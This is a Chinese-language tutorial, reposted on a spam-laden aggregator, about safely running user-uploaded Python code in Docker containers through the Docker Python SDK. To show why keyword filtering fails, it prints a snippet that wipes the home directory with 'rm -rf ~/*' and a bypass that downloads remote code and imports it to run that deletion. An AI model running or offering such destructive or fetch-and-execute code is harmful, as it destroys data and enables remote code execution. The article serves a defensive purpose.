AVt天堂网 手机版,亚洲va久久久噜噜噜久久4399,天天综合亚洲色在线精品,亚洲一级Av无码毛片久久精品

當前位置:首頁 > 科技  > 軟件

一日一技:如何安全運行別人上傳的Python代碼?

來源: 責編: 時間:2023-10-29 21:45:48 264觀看
導讀寫后端的同學,有時候需要在網站上實現一個功能,讓用戶上傳或者編寫自己的Python代碼。后端再運行這些代碼。涉及到用戶自己上傳代碼,我們第一個想到的問題,就是如何避免用戶編寫危險命令。如果用戶的代碼里面涉及到下面兩

寫后端的同學,有時候需要在網站上實現一個功能,讓用戶上傳或者編寫自己的Python代碼。后端再運行這些代碼。7O328資訊網——每日最新資訊28at.com

涉及到用戶自己上傳代碼,我們第一個想到的問題,就是如何避免用戶編寫危險命令。如果用戶的代碼里面涉及到下面兩行,在不做任何安全過濾的情況下,就會導致服務器的Home文件夾被清空。7O328資訊網——每日最新資訊28at.com

import osos.system('rm -rf ~/*')

有人想的比較簡單,直接判斷用戶的代碼里面有沒有os.system、exec、subprocess……這些危險關鍵詞不就可以了嗎?7O328資訊網——每日最新資訊28at.com

這種想法乍看起來沒有問題,但細想下,就會發現非常天真。如果用戶的代碼像下面這樣寫,你又要如何應對?7O328資訊網——每日最新資訊28at.com

import requestscode = requests.get('https://www.kingname.info/dangerous_code').textwith open('dangerous_code.py', 'w') as f:    f.write(code)dangerous_module = __import__('dangerous_code')danderous_module.delete_all()

其中https://www.kingname.info/dangerous_code對應的代碼如下:7O328資訊網——每日最新資訊28at.com

import osdef delete_all():    os.system('rm -rf ~/*')

這樣就可以繞過關鍵字檢查,并成功刪除你的文件了。7O328資訊網——每日最新資訊28at.com

如果你的網站本身就是一個爬蟲管理平臺,你檢查用戶自定義的代碼時,肯定不能過濾掉requests這種網絡請求庫。那么你就很難判斷用戶下載下來的東西是否包含惡意代碼。7O328資訊網——每日最新資訊28at.com

而且惡意代碼不一定是刪除你的東西,它完全可以直接把你項目下面的所有代碼打包,上傳到它指定的URL中,這樣就能竊取你網站里面所有代碼。7O328資訊網——每日最新資訊28at.com

為了避免這樣的情況發生,我們就必須找一個干凈又獨立的環境來運行用戶的代碼。干凈的環境能確保惡意代碼沒有東西可以偷,獨立的環境能確保他即使刪除了所有文件,也不會影響到你。7O328資訊網——每日最新資訊28at.com

顯然,最簡單直接的辦法,就是使用Docker來運行用戶的代碼。而使用Docker并不一定需要在終端使用Shell命令。我們可以使用Docker的Python SDK來實現構建鏡像和運行鏡像。7O328資訊網——每日最新資訊28at.com

首先,確保你的服務器上面已經有Docker,并且正在運行。接下來,安裝Docker SDK:7O328資訊網——每日最新資訊28at.com

pip install docker

假設,你把用戶上傳的文件放在了user/<user_id>/upload文件夾下面,那么,首先你需要生成一個Dockerfile,并把這個Dockerfile放到upload文件夾中:7O328資訊網——每日最新資訊28at.com

from python:3.10run pip install -r requirements.txtcopy . /appworkdir /app

當用戶添加/修改了第三方庫時,你只需要更新requirements.txt即可讓鏡像里面的依賴符合用戶的需求。7O328資訊網——每日最新資訊28at.com

接下來,我們開始構建鏡像并運行代碼:7O328資訊網——每日最新資訊28at.com

import dockerclient = docker.from_env()client.images.build(path='user/<user_id>/upload', tag='xxxspider:0.01') # tag后面的名字可以自定義container = client.containers.run('xxxspider:0.01', detach=True, command='scrapy crawl xxx', 其他參數)

這個代碼運行以后是非阻塞的,會立刻返回container對象。當你想查看代碼日志時,執行:7O328資訊網——每日最新資訊28at.com

container.logs(tail=10) # 顯示最后10行日志

就可以看到相關的日志了。7O328資訊網——每日最新資訊28at.com

關于Docker SDK的更多操作,可以看他的官方文檔:Docker SDK for Python — Docker SDK for Python 6.1.3 documentation[1]7O328資訊網——每日最新資訊28at.com

參考資料

[1]Docker SDK for Python — Docker SDK for Python 6.1.3 documentation: https://docker-py.readthedocs.io/en/stable/index.html#docker-sdk-for-python7O328資訊網——每日最新資訊28at.com

本文鏈接:http://www.tebozhan.com/showinfo-26-15610-0.html一日一技:如何安全運行別人上傳的Python代碼?

聲明:本網頁內容旨在傳播知識,若有侵權等問題請及時與本網聯系,我們將在第一時間刪除處理。郵件:2376512515@qq.com

上一篇: 多模態LLM幻覺問題降低30%!業內首個“啄木鳥”免重訓方法誕生

下一篇: 用示例和應用程序了解必要的Golang庫

標簽:
  • 熱門焦點
  • Find N3入網:最高支持16+1TB

    OPPO將于近期登場的Find N3折疊屏目前已經正式入網,型號為PHN110。本次Find N3在外觀方面相比前兩代有很大的變化,不再是小號的橫向折疊屏,而是跟別的廠商一樣采用了較為常見的
  • 中興AX5400Pro+上手體驗:再升級 雙2.5G網口+USB 3.0這次全都有

    2021年11月的時候,中興先后發布了兩款路由器產品,中興AX5400和中興AX5400 Pro,從產品命名上就不難看出這是隸屬于同一系列的,但在外觀設計上這兩款產品可以說是完全沒一點關系
  • 印度登月最關鍵一步!月船三號今晚進入環月軌道

    8月5日消息,據印度官方消息,月船三號將于北京時間今晚21時30分左右開始近月制動進入環月軌道。這是該探測器能夠成功的最關鍵步驟之一,如果成功將開始圍
  • 得物效率前端微應用推進過程與思考

    一、背景效率工程隨著業務的發展,組織規模的擴大,越來越多的企業開始意識到協作效率對于企業團隊的重要性,甚至是決定其在某個行業競爭中突圍的關鍵,是企業長久生存的根本。得物
  • 使用LLM插件從命令行訪問Llama 2

    最近的一個大新聞是Meta AI推出了新的開源授權的大型語言模型Llama 2。這是一項非常重要的進展:Llama 2可免費用于研究和商業用途。(幾小時前,swyy發現它已從LLaMA 2更名為Lla
  • WebRTC.Net庫開發進階,教你實現屏幕共享和多路復用!

    WebRTC.Net庫:讓你的應用更親民友好,實現視頻通話無痛接入! 除了基本用法外,還有一些進階用法可以更好地利用該庫。自定義 STUN/TURN 服務器配置WebRTC.Net 默認使用 Google 的
  • 大廠卷向扁平化

    來源:新熵作者丨南枝 編輯丨月見大廠職級不香了。俗話說,兵無常勢,水無常形,互聯網企業調整職級體系并不稀奇。7月13日,淘寶天貓集團啟動了近年來最大的人力制度改革,目前已形成一
  • AI芯片初創公司Tenstorrent獲三星和現代1億美元投資

    Tenstorrent是一家由芯片行業資深人士Jim Keller領導的加拿大初創公司,專注于開發人工智能芯片,該公司周三表示,已經從現代汽車集團和三星投資基金等
  • OPPO K11搭載長壽版100W超級閃充:26分鐘充滿100%

    據此前官方宣布,OPPO將于7月25日也就是今天下午14:30舉辦新品發布會,屆時全新的OPPO K11將正式與大家見面,將主打旗艦影像,和同檔位競品相比,其最大的賣
Top